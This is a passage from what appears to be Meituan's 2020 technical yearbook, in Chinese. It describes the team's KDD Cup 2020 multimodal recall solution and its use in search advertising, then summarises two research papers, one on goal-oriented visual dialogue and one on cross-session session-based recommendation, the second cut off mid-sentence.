赛题，希望应用并提升这三个领域技术积累，带来技术与业务的进一步突破。团队

的黄坚强、胡可、漆毅、曲檀、陈明健、郑博航、雷军与中科院大学唐兴元共同组

建 参 赛 队 伍 Aister， 参 加 了 AutoGraph、Debiasing、Multimodalities Recall 三

道赛题，最终在 AutoGraph 赛道中获得了冠军（1/149）( 解决方案可见：KDD Cup 

2020 Debiasing 比赛冠军技术方案与广告业务应用），在 Debiasing 赛道中获得冠

军（1/1895）（解决方案可见：KDD Cup 2020 Debiasing 比赛冠军技术方案与广告

业务应用），并在 Multimodalities Recall 赛道中获得了季军（3/1433）。

图 1　KDD 2020 会议

要处理自然界、生活中多种模态纠缠、互补着的信息，多模态学习是必由之路。随着

互联网交互形态的不断演进，多模态内容如图文、视频等越发丰富；在美团的搜索广
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告系统中，也体现出同样的趋势。搜索广告算法团队利用多模态学习相关技术，已在

业务上取得了不错的效果，并在今年 KDD Cup 的 Multimodalities Recall 赛道获得

了第三名。

本文将介绍 Multimodailites Recall 赛题的技术方案，以及团队在广告业务中多模态

学习相关技术的应用与研究，希望对从事相关研究的同学能够有所帮助或者启发。

图 2　KDD Cup 2020 Multimodalities Recall 比赛 TOP 10 榜单

赛题介绍与分析

题目概述

多模态召回赛题由阿里巴巴达摩院智能计算实验室发起并组织，关注电商行业中的多

模信息学习问题。2019 年，全世界线上电商营收额已经达到 3530 亿美元。据相关

预测，到 2022 年，总营收将增长至 6540 亿美元。大规模的营收和高速增长同时预

示着，消费者对于电商服务有着巨大的需求。跟随这一增长，电商行业中各种模态的
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信息越来越丰富，如直播、博客等等。怎样在传统的搜索引擎和推荐系统中引入这些

多模信息，更好地服务消费者，值得相关从业者深入探讨。

本赛道提供了淘宝商城的真实数据，包括两部分，一是搜索短句（Query）相关，为

原始数据；二是商品图片相关，考虑到知识产权等，提供的是使用 Faster RCNN 在

图片上提取出的特征向量。两部分数据被组织为基于 Query 的图片召回问题，即有

关文本模态和图片模态的召回问题。

为方便理解，本赛道提供了少量真实图片及其对应的原始数据，下面是一个例子。该

图例是一个正样例，其 Query 为 Sweet French Dress，图片主体部分是一名身着

甜美裙装的女性，主体部分以外，则有大量杂乱信息，包括一个手提包、一些气球以

及一些商标和促销文字信息。赛题本身不提供原始图片，而提供的是 Faster RCNN

在图片上提取出的特征向量，即图片中被框出的几个部分。可见，一方面 Faster 

RCNN 提取了图片中有明显语义的内容，有助于模型学习；另一方面，Faster 

RCNN 的提取会包含较多的框，这些框体现不出语义的主次之分。怎样利用这些框

和文本相匹配，是该赛题的核心内容。

本次赛题设置的评价指标为 NDCG@5。具体来说，在给定的测试集里，每条

Query 会给出约 30 个样本，其中大约 6 条为正样本，其余为负样本。赛题需要选手

设计匹配算法，召回出任意 5 条正样本，即可获得该 Query 的全部分数，否则，按

照召回的正样本条数来计算 NDCG 指标作为该 Query 的分数。全部 Query 的分数

进行平均，即为最终得分。
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图 3　Query 和 Product 数据示例

数据分析和理解

本赛道提供了三份数据集，分别称为训练集、验证集和测试集。各个数据集的基本信

息如下：

表 1　数据集概况

为进一步探索数据特点，我们将验证集给出的原始图片和特征信息做了聚合展现，下

表是一组示例。
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表 2　搜索短语与图片的匹配正负例

根据如上探索，我们总结了数据集的三个重要特点：

 ● 训练集和验证集 / 测试集的数据特点大不相同。训练集量级显著高于验证集 /

测试集，足有三百万条 Query-Image 对，是验证集 / 测试集的一百倍以上。

同时，训练集的每条 Query-Image 对均被视为正样本，这和验证集给出的一

条 Query 下挂多个有正有负的 Image 截然不同。而通过对验证集原始图片和

Query 进行可视化探索，可见验证集数据质量很高，应该为人工标注。考虑人

工标注成本和负样本的缺失，训练集有极大可能描述的是点击关系，而非人工

标注的语义匹配关系。我们的解决方案中必须要考虑到训练集分布和测试集分

布并不匹配这一基本特点。
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 ● 图片信息复杂，常常包含多个物体。这些物体均被框出，作为给定特征，但

各个框之间语义信息并不平等；某些是噪音，如 Query(men’s high collar 

sweater) 下的墨镜、围巾、相机等框图，某些又是因商品展示需要而重复，

如 Query(breathable and comfortable children’s shoes) 下的重复鞋的框

图。平均来说，一张图片有 4 个框，怎么将这多个框包含的语义信息去噪、综

合，得到图片的整体语义表达，是建模的一个重点。

 ● Query 作为给定的原始文本，有着与常用语料截然不同的构造和分布情况。

从示例表可见，Query 并非自然语句，而是一些属性和商品实体连缀成的短

语。经过统计发现，90% 的 Query 都由 3-4 个单词组成；训练集有约 150

万的不同 Query，其词表大小在 15000 左右；通过最后一个单词，可将全部

Query 归约为大约 2000 类，每一类都是一个具体的商品名词。我们需要考虑

文本数据的这些特质，进行针对性处理。

问题挑战

本竞赛是在电商的搜索数据上的一个多模信息匹配任务。从上述数据集的三个特点出

发，我们总结了该竞赛的两大主要挑战。

第一，分布不一致问题。经典统计机器学习的基础假设是训练集和测试集分布一致，

不一致的分布通常会导致模型学偏，训练集和验证集效果难以对齐。我们必须依赖于

已有的大规模训练集中的点击信号和小规模的和测试集同分布的验证集，设计可行的

数据构建方法和模型训练流程，采取诸如迁移学习等技术，以处理这一问题。

第二，复杂多模信息匹配问题。怎么进行多模信息融合是多模态学习中的基础性问

题，而怎么对复杂的多模信息进行语义匹配，是本竞赛特有的挑战。从数据看，一方

面商品图片多框，信息含量大、噪点多；另一方面，用户搜索 Query 一般具有多个

细粒度属性词，且各个词均在语义匹配中发挥作用。这就要求我们在模型设计上针对

性处理图和 Query 两方面的复杂性，并做好细粒度的匹配。

针对这两大挑战，下面将详述搜索广告团队的解决方案。
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竞赛方案

我们的方案直接回应了上述两个挑战，其主体部分包含两方面的内容，一是通过联合

多样化的负采样策略和蒸馏学习以桥接训练数据和测试集的分布，处理分布不一致问

题；二是采取细粒度的文本 - 图片匹配网络，进行多模信息融合，处理复杂多模信息

匹配问题。最后，通过两阶段训练和多模融合，我们进一步提升了模型表现，整个方

案的流程如下图所示。下面详述方案的各个部分。

图 4 基于多样化负采样的多阶段蒸馏学习框架

多样负采样策略和预训练

训练集和测试集分布不一致。最直观的不一致是，训练集中只有正样本，没有负样

本。我们需要设计负采样策略来构造负样本，并尽可能使得采样出的负样本靠近测试

集真实分布。最直观的想法是随机采样。随机采样简单易行，但和验证集区别较大。

分析验证集发现，对同一 Query 下的候选图片，通常有着紧密的语义关联。如“甜
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美法式长裙”这一 Query 下，待选的图片全是裙装，只是在款式上有不同。这说明，

这一多模匹配赛题需要在较细的属性粒度上对文本和图片进行匹配。从图片标签和

Query 词两个角度出发， 我们可以通过相应的聚类算法，使得待采样的空间从全局细

化为相似语义条目，从而达到负采样更贴近测试集分布的目的。

基于如上分析，我们设计了如下表所示的四种采样策略来构建样本集。这四种策略

中，随机采样得到的正负样本最容易被区分，按 Query 最后一词采样得到的正负样

本最难被区分；在训练中，我们从基准模型出发，先在最简单的随机采样上训练基准

模型，然后在更困难的按图片标签采样、按 Query 的聚类采样的样本集上基于先前

的模型继续训练，最后在最难的按 Query 最后一词采样的样本集上训练。这样由易

到难、由远到近的训练方式，有助于模型收敛到验证集分布上，在测试集上取得了更

好的效果。

表 3　多样化负采样

蒸馏学习

尽管使用多种采样策略，可从不同角度去逼近测试集的真实分布，但由于未直接利用

测试集信息指导负采样，这些采样策略仍有不足。因而，我们采用蒸馏学习的办法，

来进一步优化负采样逻辑，以求拿到更贴近测试集的样本集分布。如下图所示，在通

过训练集负采样得到的样本集上预训练以后（第 1 步），我们将该模型在验证集上进一
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步 Finetune，得到微调模型（第 2 步）。利用微调模型，我们反过去在训练集上打伪

标签，作为 Soft Label，并把 Soft Label 引入 Loss，跟原始的 0-1 Hard Label 联

合学习（第 3 步）。这样，训练集的训练上，即直接引入了验证集的分布信息，进一步

贴近了验证集分布，提升了预训练模型的表现。

图 5　多阶段蒸馏学习

细粒度匹配网络

多模态学习方兴未艾，各类任务、模型层出不穷。针对我们面临的复杂图片和搜索

Query 匹配的问题，参照 CVPR 2017 的 VQA 竞赛的冠军方案，我们设计了如下的

神经网络模型作为主模型。

该模型的设计主要考虑了如下三点：

 ● 利用带门全连接网络做语义映射。图片和 Query 处于不同语义层级，需利用

函数映射到相同的语义空间，我们采取了两个全连接层的方式达到该目的。实

验发现，全连接层的隐层大小是比较敏感的参数，适当增大隐层，可在不过分

增加计算复杂度的情况下，显著提升模型效果。此外，如文献所述，使用带门

的全连接层可进一步提升语义映射网络的效果。
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 ● 采用双向 Attention 机制。图片和 Query 均由更细粒度的子语义单元组成。具

体来说，一张图片上可能有多个框，每个框均有独立的语义信息；一个 Query

分为多个词，每个词也蕴含独立的语义信息。这一数据特点是由电商搜索场景

决定的。因而，在模型设计时，需考虑到单个子语义单元之间的匹配。我们采

用单个词和全部框、单个框和全部词双方向的注意力机制，去捕捉这些子单元

的匹配关系和重要程度。

 ● 使用多样化多模融合策略。多模信息融合有很多手段，大部分最终归结为图片

向量和 Query 向量之间的数学操作符。考虑到不同融合方式各有特点，多样

融合能够更全面地刻画匹配关系，我们采用了 Kronecker Product、Vector 

Concatenation 和 Self-Attention 三种融合方式，将经过语义空间转化和

Attention 机制映射后的图片向量和 Query 向量进行信息融合，并最终送入全

连接神经网络，得到匹配与否的概率值。

此外，我们采用在训练集样本上预训练词向量的方式得到原始 Query 的表示，而

非使用 BERT 模型等流行的预训练模型。这里的主要考虑是，数据分析指出，Query

和常见的自然语句很不同，而更像是一组特定属性 / 品类名词组合在一起的短语，这和

BERT 等预训练模型所使用的语料有明显差异。事实上，我们初步尝试引入 Glove 预

训练词向量等，和直接在 Query 文本上预训练相比，并无明显收益。再考虑到 BERT

模型比较笨重，不利于快速迭代，我们最终没有使用相关的语言模型技术。

图 6　细粒度匹配网络
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多模融合

在上述技术手段的处理下，我们得到了多个基础模型。这些模型均可在验证集上进

行 Finetune，从而使其效果更贴近真实分布。一方面，Finetune 阶段可继续使用

前述的神经网络匹配模型。另一方面，前述神经网络可作为特征提取器，将其在规

模较小的验证集上的输出，放入树模型重新训练。这一好处是树模型和神经网络模

型异质性大，融合效果更好。最终，我们提交的结果是多个神经网络模型和树模型

融合的结果。

评估结果

我们以随机采样训练的粗粒度（图片表示为所有框的平均，Query 表示为所有词的平

均）匹配网络为基准模型。下表列出了我们解决方案的各个部分在基准模型上的提升

效果。

表 4　不同方法的 NDCG 提升

广告业务应用

搜索广告算法团队负责美团与点评双平台的搜索广告与筛选列表广告业务，业务类型

涉及餐饮、休闲娱乐、丽人、酒店等，丰富的业务类型为算法优化带来很大空间与挑

战。搜索广告中的创意优选阶段，目的在通过当前搜索词或者筛选意图，为用户的每



970　>　美团 2020 技术年货

一个广告展示结果选择高质量的图片。用户的搜索词与图片在维度，表达粒度均有较

大差异，我们采用多模态学习来解决这一问题，将跨模表达进行同空间映射。如下图所

示，在多模态网络中，将广告特征、请求特征、用户偏好连同图片特征作为输入，其中

图片特征通过 CNN 网络提取图片向量表示，其他特征通过多层 MLP 进行交叉得到稠

密向量表示，最终通过图片 Loss 和多模 Loss 两个损失函数约束模型训练。通过这样

的建模方式，创意优选模型可以根据查询为不同用户的广告结果呈现最合适的图像。

图 7　广告创意业务中的多模态学习

搜索广告系统分为广告触发、创意优选，点击率预估（广告粒度）等模块。其中，创

意优选阶段对于每个广告结果有超过十张的图片候选，线上服务的计算量是点击率预
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估（广告粒度）的十倍以上，对性能有更高的要求。而为了缩短耗时而减少模型复杂

度又必然导致模型精度的的下降。

为了平衡模型的性能和效果，我们借鉴了知识蒸馏的思路来处理这一难题，借用了高

表达能力的广告粒度预估模型。如上图 7 所示，左侧模型为复杂的广告粒度点击率预

估模型，可以作为教师网络；右侧为简单的创意粒度优选模型，作为学生网络。学生

网络的目标损失函数中，除学生网络自身输出 Logit 的 Logloss 以外，还加入了其

Logit 和老师网络输出 Logit 之间的平方误差。这一辅助 Loss 能够迫使学生模型的输

出和老师模型的输出更接近。因此，学生模型可以学得与老师模型更接近，从而达到

保持相对简单网络规模的同时、提升精度的目的。

除此以外，底层共享 Embedding 的设计，也使得学生模型的底层参数可得到老师模

型的训练。并且，在提升精度的同时，多模块之间的一致性（例如 CTR 预估与创意

优选）也是系统精度提高的一个关键，在目标与表达学习的 Teacher-Student 联合

训练有利于多阶段的目标统一。基于精度提升与多阶段目标的一致性，我们取得线上

业务效果较为显著的提升。

图 8　广告创意业务中的蒸馏学习
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总结与展望

KDD Cup 是同工业界联接非常紧密的比赛，每年赛题紧扣业界热点问题与实际问题，

其中历年产出的 Winning Solution 对工业界有很大影响。例如，KDD Cup 2012 产

出了 FFM (Feild-Aware Factorization Machine) 与 XGBoost 的原型，在工业界取

得广泛应用。今年的 KDD Cup 主要关注在自动化图表示学习以及推荐系统等领域上。

自然界的信息常常是多种模态混合的，对多模信息的处理和处理是近年来的一大研究热

点。同时在工业界的搜索引擎或推荐系统中，涉及到的多模信息处理等，正变得越来越

重要。特别是随着直播、短视频等业务形态的兴起，多模态学习已变得不可或缺。

本文主要介绍了 KDD CUP 2020 的多模态竞赛情况以及美团搜索广告算法团队的解

决方案。对数据进行充分探索后，我们分析出竞赛数据的三大特点，同时定位了赛题有

两大挑战，即训练集和测试集分布不一致和复杂多模信息匹配。我们通过多样化负采样

策略、蒸馏学习和预训练与 Finetune 等技术处理了分布不一致问题，并通过细粒度匹配

网络处理复杂多模信息匹配问题，两方面思路均取得了效果的显著提升。同时，本文还

介绍了多模态学习相关技术在搜索广告业务中的实际应用情况，包括创意优选模型中的

图片和用户偏好联合学习、蒸馏学习在创意模型中的应用等。通过比赛高强度、快频率

的迭代，团队在多模态学习方面有了更深的理解。在未来的工作中我们会基于本次比

赛取得的经验，深入更多的多模态业务场景中进行分析和建模，发挥数据的价值。
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对话任务中的“语言-视觉”信息融合研究

作者：会星　子彭　方向　小捷　玉树　仲远等

目标导向的视觉对话是“视觉 - 语言”交叉领域中一个较新的任务，它要求机器能通

过多轮对话完成视觉相关的特定目标。该任务兼具研究意义与应用价值。日前，北京

邮电大学王小捷教授团队与美团 AI 平台 NLP 中心团队合作，在目标导向的视觉对话

任务上的研究论文《Answer-Driven Visual State Estimator for Goal-Oriented 

Visual Dialogue-commentCZ》被国际多媒体领域顶级会议 ACMMM 2020 录用。

该论文分享了他们在目标导向视觉对话中的最新进展，即提出了一种响应驱动的视

觉状态估计器（Answer-Driven Visual State Estimator，ADVSE）用于融合视

觉对话中的对话历史信息和图片信息，其中的聚焦注意力机制（Answer-Driven 

Focusing Attention，ADFA）能 有 效 强 化 响 应 信 息， 条 件 视 觉 信 息 融 合 机 制

（Conditional Visual Information Fusion，CVIF）用于自适应选择全局和差异信息。

该估计器不仅可以用于生成问题，还可以用于回答问题。在视觉对话的国际公开数据

集 GuessWhat?! 上的实验结果表明，该模型在问题生成和回答上都取得了当前的领

先水平。

背景

一个好的视觉对话模型不仅需要理解来自视觉场景、自然语言对话两种模态的信息，

还应遵循某种合理的策略，以尽快地实现目标。同时，目标导向的视觉对话任务具有

较丰富的应用场景。例如智能助理、交互式拾取机器人，通过自然语言筛查大批量视

觉媒体信息等。
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图 1　目标导向的视觉对话

研究现状及分析

为了进行目标导向的和视觉内容一致的对话，AI 智能体应该能够学习到视觉信息敏感

的多模态对话表示以及对话策略。对话策略学习的相关工作有很多，如 Strub 等人 [1]

首先提出使用强化学习来探索对话策略，随后的工作则着重于奖励设计 [2，3] 或动

作选择 [4，5]。但是，它们中的大多数采用了一种简单的方式来表示多模态对话，分

别编码两个模态信息，即由 RNN 编码的语言特征和由预训练 CNN 编码的视觉特征，

并将它们拼接起来。

好的多模态对话表示是策略学习的基石。为了改进多模态对话的表示，研究者们提出

了各种注意机制 [6，7，8]，从而增强了多模态交互。尽管已有工作取得了许多进展，

但是还存在一些重要问题。

1. 在语言编码方面，现有方法的语言编码方式都不能对不同的响应（Answer）

进行区分，Answer 通常只是附在 Question 后面编码，由于 Answer 只是

Yes 或 No 一个单词，而 Question 则包含更长的词串，因此，Answer 的作

用很微弱。但实际上，Answer 的回答很大程度决定了后续图像关注区域的
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变化方向，也决定了对话的发展方向，回答是 Yes 和 No 会导致完全不同的

发展方向。例如图 1 中通过对话寻找目标物体的示例，当第一个问题的答案

“是花瓶吗？”为“是”，则发问者继续关注花瓶，并询问可以最好地区分多个

花瓶的特征；当第三个问题的答案“部分为红色吗？”为“否”，则发问者不再

关注红色的花瓶，而是询问有关剩余候选物体的问题。

2. 在视觉以及融合方面的情况也是类似，现有的视觉编码方式或者采用静态编

码在对话过程中一直不变，直接和动态变化的语言编码拼接，或者用 QA 对

编码引导对视觉内容的注意力机制。因此，也不能对不同的 Answer 进行有

效区分。而如前所述，当 Answer 回答不同时，会导致图像关注区域产生非

常不同的变化，一般地，当回答为“是”时，图像会聚焦于当前对象，进一

步关注其特点，当回答为“否”时，可能需要再次关注图像整体区域去寻找

新的可能候选对象。

响应驱动的视觉状态估计器

为此，本文提出一个响应驱动的视觉状态估计器，如下图 2 所示，新框架中包含响应

驱动的注意力更新（ADFA-ASU）以及视觉信息的条件融合机制（CVIF）分别解决

上述两个问题。

图 2　响应驱动的视觉状态估计器框架图
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响应驱动的注意力更新首先采用门限函数极化当前轮次 Question 引导的注意

力，随后基于对该 Question 的不同 Answer 进行注意力反转或保持，得到当前

Question-Answer 对对话状态的影响，并累积到对话状态上，这种方式有效地强调

了 Answer 对对话状态的影响；CVIF 在当前 QA 的指导下融合图像的整体信息和当

前候选对象的差异信息，从而获得估计的视觉状态。

答案驱动的注意力更新（ADFA-ASU）
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视觉信息的条件融合机制（CVIF）

响应驱动的视觉状态估计器用于问题生成和回答

ADVSE 是面向目标的视觉对话的通用框架。因此，我们将其应用于 GuessWhat ?!

中的问题生成（QGen）和回答（Guesser）建模。我们首先将 ADVSE 与经典的层级

对话历史编码器结合起来以获得多模态对话表示，而后将多模态对话表示与解码器联

合则可得到基于 ADVSE 的问题生成模型；将多模态对话表示与分类器联合则得到基

于 ADVSE 的回答模型。
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图 3　响应驱动的视觉状态估计器用于问题生成和回答示意图

在视觉对话的国际公开数据集 GuessWhat?! 上的实验结果表明，该模型在问

题生成和回答上都取得了当前的领先水平。我们首先给出了 ADVSE-QGen 和

ADVSE-Guesser 与最新模型对比的实验结果。

此外，我们评测了联合使用 ADVSE-QGen 和 ADVSE-Guesser 的性能。最后，

我们给出了模型的定性分析内容。我们模型的代码即将可从 ADVSE-GuessWhat

获得。

https://github.com/zipengxuc/ADVSE-GuessWhat
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表 1　QGen 任务性能对比，评测指标为任务成功率

表 2　Guesser 任务性能对比，评测指标为错误率
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图 4　问题生成过程中响应驱动的注意力转移样例分析



982　>　美团 2020 技术年货

图 5　ADVSE-QGen 对话生成样例

总结

本论文提出了一种响应驱动的视觉状态估计器（ADVSE），以强调在目标导向的视

觉对话中不同响应对视觉信息的重要影响。首先，我们通过响应驱动的集中注意力

（ADFA）捕获响应对视觉注意力的影响，其中是保持还是移动与问题相关的视觉注意

力由每个回合的不同响应决定。

此外，在视觉信息的条件融合机制（CVIF）中，我们为不同的 QA 状态提供了两种类

型的视觉信息，然后依情况地将它们融合，作为视觉状态的估计。将提出的 ADVSE

应用于 Guesswhat?! 中的问题生成任务和猜测任务，与这两个任务的现有最新模型

相比，我们可以获得更高的准确性和定性结果。后续，我们还将进一步探讨同时使用

同源的 ADVSE-QGen 和 ADVSE-Guesser 的潜在改进。
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ICDM论文：探索跨会话信息感知的推荐模型

作者：叶蕊　张庆　恒亮

会话推荐（Session-based Recommendation）是推荐领域的一个子分支 , 美团平

台增长技术部也在该领域不断地进行探索。不久前，该部门提出的跨会话信息感知的

时间卷积神经网络模型（CA-TCN）被国际会议 ICDM NeuRec Workshop 2020 接

收。本文会对论文中的 CA-TCN 模型进行介绍，希望能对从事相关工作的同学有所

帮助或者启发。

ICDM 的全称 International Conference on Data Mining，是由 IEEE 举办的世界

顶级数据挖掘研究会议，该会议涵盖了统计、机器学习、模式识别、数据库、数据仓

库、数据可视化、基于知识的系统和高性能计算等数据挖掘相关领域。其中 ICDM 

NeuRec Workshop 旨在从应用和理论角度系统地讨论推荐系统的浅层和深层神经

算法的最新进展，该 Workshop 征集了有关开发和应用神经算法和理论以构建智能

推荐系统的最新且重要的贡献。

背景

在大数据时代，推荐系统作为系统中的基础架构，开始扮演着越来越重要的角色，推

荐系统可以为用户挑选出自己感兴趣的商品或者内容，从而来减少因信息爆炸带来的

一些影响。目前，业界提出的很多推荐模型取得了巨大的成功， 但是大部分推荐方法

常常是需要根据明确的用户画像信息进行推荐，然而在一些特定的领域，用户画像的

信息有可能无法被利用。
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为了解决这个问题， 会话推荐（Session-based Recommendation）任务被提了出

来，会话推荐任务是根据用户在当前会话的行为序列去预测用户的下一个行为，而不

需要依赖任何的用户画像信息 [1]。目前，会话推荐任务已广泛应用于多个领域，例如

下一个网页推荐、下一个 POI 推荐、下一个商品推荐等等。为了覆盖多个领域，所

以“会话”的概念不仅限于交易，而是指一次或者一定时期内的消费或者访问的元素

集合。

每一个会话（Session）都是一个 item 的转移序列，所以会话推荐任务可以很自然地

被视为序列推荐任务，基于循环神经网络（RNN）的会话推荐模型 [2] 是应用的主流模

型。但是基于 RNN 模型只对 item 之间的连续单向转移关系进行建模，而忽略了会

话中其他 item 之间的转移关系。随着图神经网络的热点爆发，基于图结构的会话推

荐模型如 SR-GNN[3]、GC-SAN[4] 被提出来，希望能够克服该点不足。基于图结构

的会话推荐模型将会话的 item 转移序列构建成一个图结构，然后应用图神经网络模

型来探索多个 item 之间复杂的转移关系。目前，基于图结构的会话推荐模型已经成

为了 State-of-the-art 的解决方法，但它们仍然具有一定的限制， 观察如下：

 ● 观察 1：几乎所有现存的会话推荐方法都仅仅关注于会话的内部信息，而忽

略了跨会话的外部信息 （跨会话的相互影响），跨会话信息往往包含着非常

有价值的补充信息，有利于更准确地推断当前会话的用户偏好。如下图所

示，以 Session 3 中的 Item_3 Airpods 为例， 现存的方法仅仅关注当前会

话 Session3 中的 Item_9 对 Item_3 的影响而忽略了其他会话的影响。对于

Session1 而言 , 用户可能具有买耳机的意图而进行同品类比较，所以 item_2

和 item_4 会对 item_3 产生一个品类的影响；对于 Session 2 而言 , 用户可

能比较喜欢 Apple 品牌，所以 item_5 和 item_6 会对 item_3 产生一个品牌

的影响。根据上面的观察可知，在 Item_Level 层次的跨会话影响对于更好地

推断 item 的全局表示至关重要。同时，不同的会话之间也可能具有相似的用

户意图和行为模式， 所以对于 Session-Level 的跨会话影响对于更准确地预

测用户在当前会话中的下一个动作也起着非常重要的作用。
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图 1　跨会话 item 的 Toy 样例

 ● 观察 2：基于图结构的会话推荐方法在构建图的过程中，将出现在不同时间

步的相同 item 都视为一个相同节点，这样会丢失序列中的位置信息，以至于

不同的序列会话构建出的 Session 图结构是完全相同的。例如两个不同的会

话 Session S1:v_i–>v_j–>v_i–>v_k–>v_j–>v_k 与 Session S2: v_

i–>v_j–>v_k–>v_j–>v_i–>v_k，在下图 2 中，它们对应的图结构是完

全相同的，这不可避免地限制了模型获得准确会话表示的能力。此外，在会话

图构造中，仅仅直接连接的两个相邻 item 之间会建立边，意味着只有在当前

item 之前最后点击的 item 才是当前 item 的一阶邻居，如图 2 所示。但出现

在一个相同会话中，即使没有被连续点击的 item 之间也具有一定的联系，所

以图结构对于保留序列的长期依赖性具有有限的能力。相反，对于时序卷积

神经网络（TCN）[5] 模型，Causal Convolution 使当前 item 的接受域中的

items 都可以直接作为一阶邻居进行卷积，并且具有的 Dilated Convolution

使得较远的 items 也可以直接作为一阶邻居对其产生影响。
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图 2　图结构对于序列数据的建模示意图

相关工作介绍

现有的会话推荐方法大致可以分为两类， 分别是基于协同过滤方法和基于深度学习

方法：

 ● 基于协同过滤方法：协同过滤方法是在推荐系统中被广泛使用的通用方法，协同

过滤方法主要可以分为两大类：基于 KNN 查找方法和基于相似度建模方法。 基

于 KNN 查找方法是通过查找 Top-K 个相关的 users 或 items 来实现推荐，基

于 KNN 查找方法可以通过查找与当前会话中最后一个 item 最相似的 item 来实

现基于会话的推荐。 最近，KNN-RNN[6] 探索将 RNN 模型与 KNN 模型相结

合，通过 RNN 模型来提取会话序列信息，然后查找在与当前 Session 相似的

Session 中出现的 item 来实现推荐。对于基于相似度建模的方法，CSRM[7]

通过记忆网络将距离当前会话时间最近的 m 个会话中包含的相关信息进行建模，

从而来获得更为准确的会话表示，以提高会话推荐的性能。

 ● 基于深度学习方法：深度学习方法凭借其强大的特征学习能力在多个领域获

得了令人满意的成果，对于会话推荐任务而言，循环神经网络 RNN 是一个

直观的选择，可以利用其提取序列特征的优势来捕获会话内复杂的依赖关系。

GRU4Rec[2] 利用门控循环单元（GRU）作为 RNN 的一种特殊形式来学习

item 之间的长期依赖性，以预测会话中的下一个动作。之后的一些工作，是

通过在基于 RNN 模型的基础上增加注意力机制和记忆机制等对模型进行了改

进和扩展，其中 NARM[8] 探索了一种具有注意力机制的层次编码器，可以对

当前会话中用户的序列行为和主要意图进行建模。 最近， 随着图神经网络模型

的飞速发展，出现了依赖图结构的会话推荐模型，SR-GNN 首先提出将每个
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会话映射为一个图结构，并利用图神经网络模型 GNN 来建模 item 之间的复

杂转移关系。 之后，GC-SAN 通过加入 Self-Attention 机制进一步扩展了

SR-GNN 模型，从而成为了 State-of-the-art 的解决方法。

CA-TCN 模型与现有方法都存在着明显的差异。一方面，CA-TCN 探索 Item-Level

和 Session-Level 的跨会话影响，以提高推荐性能，与其他的协同过滤方法的

区别有两个：1. CA-TCN 同时考虑了跨会话信息对 item 和 Session 不同层次的

影响，而 CSRM 仅仅考虑了 Session 层次。 2. CA-TCN 构建了跨会话的全局

Cross-Session item 图和 Session-Context 图，通过 GNN 来探索复杂的跨会

话影响。另一方面，与基于 RNN 和基于 GNN 的模型相比，CA-TCN 模型克服了

RNN 模型无法并行以及图结构缺失位置和长期依赖信息的不足。

跨会话感知的时间卷积神经网络模型（CA-TCN）

1.	模型整体框架

网 络 的 整 体 框 架 如 下 图 3 所 示。 给 定 会 话 序 列 数 据， 首 先， 我 们 构 造 一 个

Cross-Session Item-Graph 来链接出现在不同会话中且有关系的 items， 然后经

过图神经网络输出包含全局信息的 item 向量。 将得到的 item 向量输入到 TCN 模

型中输出蕴含会话序列信息的 item 表示，根据 Item-Level Attention 机制来整合

item 的表示进而获得 Session 表示。 此后，根据 Session 表示之间的相似度构建

Session-Context Graph 图以对 Session 层次的跨会话关系进行建模。 最后，根

据 Session 的表示以及 item 的表示进行预测。

图 3　CA-TCN 模型总体框架图
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2.	跨会话 Item图（Cross-Session	Item-Graph）

在第一阶段，我们构建 Cross-Session Item-Graph 有向图 G_ item，其中图中的

每个节点代表一个 item，（v_s_i, v_s_i+1）作为一条边，代表在会话 s 中用户在 v_

s_i 之后点击了 v_s_i+1。与现有方法相比，跨会话的 G_item 图能够在所有的会话

中出现的 item 之间建立链接， 因此 G_item 不仅可以获取会话的内部信息，同时可

以得到非当前会话的外部信息。G_item 的图的核心在于将所有的 item 放在了一起通

盘考虑，然后用各个会话中的点击行为给 item 之间建立链接，不同会话的点击信息

汇总在一起使得 item 之间的关系连接更加丰富。

为了充分利用 G_item 图结构中的信息，CA-TCN 将 item 的点击顺序和共现次数考

虑在内。对于点击顺序，建立带有方向的邻接矩阵 A_in 和 A_out 来建模输入和输出

方向。在邻接矩阵的基础上，根据 item 之间的共现次数为不同的边设置不同的权重，

得到权重矩阵 Weight_in 和 Weight_out。通过分配不同的权重，具有更多共现次数

的 item 将发挥更大的作用，反之亦然，从而避免了噪音影响。

接下来，我们开发 GNN 模型来捕捉复杂的跨会话信息在 item__level 的影响，

GNN 将每一个 item 映射为一个 d 维的 embedding v ∈ R^d，得到包含跨会话信息

的全局 item 向量（item_vector）。

3.	时间卷积神经网络模型（TCN	Model）

在第二阶段，我们采用时间卷积神经网络 TCN 来对会话序列进行建模，获取会话 s

的全局和局部表示。每一个会话 s 由多个 item 组成，输入会话 s 包含的 item 全局向

量化表示（item_vector）到时间卷积神经网络（TCN）模型中。对于会话中的每一个

item 进行因果和膨胀卷积的计算，进行会话序列信息的抽取。
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采用会话中最后一个 item 的 TCN 输出作为会话 s 的局部（local）信息，以正确获取

用户的当前兴趣：

此外，采用会话 s 包含的 items 的表示以加权求和的方式得到会话的全局（global）

表示（session_vector），捕捉用户的全局信息。其中为了区分不同的 item 对于会话

的影响程度不同，采用 item 层次注意力机制，使得会话表示更加专注于重要程度高

的 items。

4.	会话上下文感知图（Session-Context-Graph）

会话的 local 表示和 global 表示只专注于当前的会话，而忽略了会话间的影响。为了

克服该不足，我们构建一个上下文感知的会话图结构（Session-Context-Graph）

来考虑不同会话之间复杂的关系。在会话图中，每一个节点代表一个会话 s, 边的链

接代表两个会话之间具有相似性。我们需要考虑的一个重要问题是如何决定一条边是

否存在。对于每一对会话，我们计算其二者表示的相似度，然后采用根据相似度值

的 KNN-Graph[9] 模型来决定一个会话节点的邻居。在构建会话图结构之后，我们采

用会话层的注意力机制以及图神经网络模型 [10] 来整合会话邻居节点对其自身的影响，

同时会话层的注意力将会话之间的相似度也考虑在内，最终得到基于会话上下文敏感

的会话表示。
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5.	点击预测

为了更好地预测用户的下一个行为，我们采用融合函数将会话的局部表示，全局表示

以及基于跨会话信息的表示进行融合，得到最终的会话表示：

最后，我们根据 item 和 session 的表示去预测每一个候选 item 成为用户下一个点

击的概率，根据概率进行逆序排序，筛选出概率值排在前预设位数对应的商品，作为

用户偏好商品并进行推荐。

实验评估

为了评估所提出的 CA-TCN 的性能，我们使用了两个广泛应用的基准数据集，即

Yoochoose 和 Diginetica， 模型性能评估结果如下表所示，CA-TCN 优于目前的基

于 RNN 以及图结构的 State-of-the-art 解决方法。
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表 1　会话推荐任务的性能比较

此外，我们进行消融实验以评估 CA-TCN 中每个组成部分的影响，组成部分包括

TCN 模型，Cross-Session Item-Graph 和 Session-Context graph。 下图的实

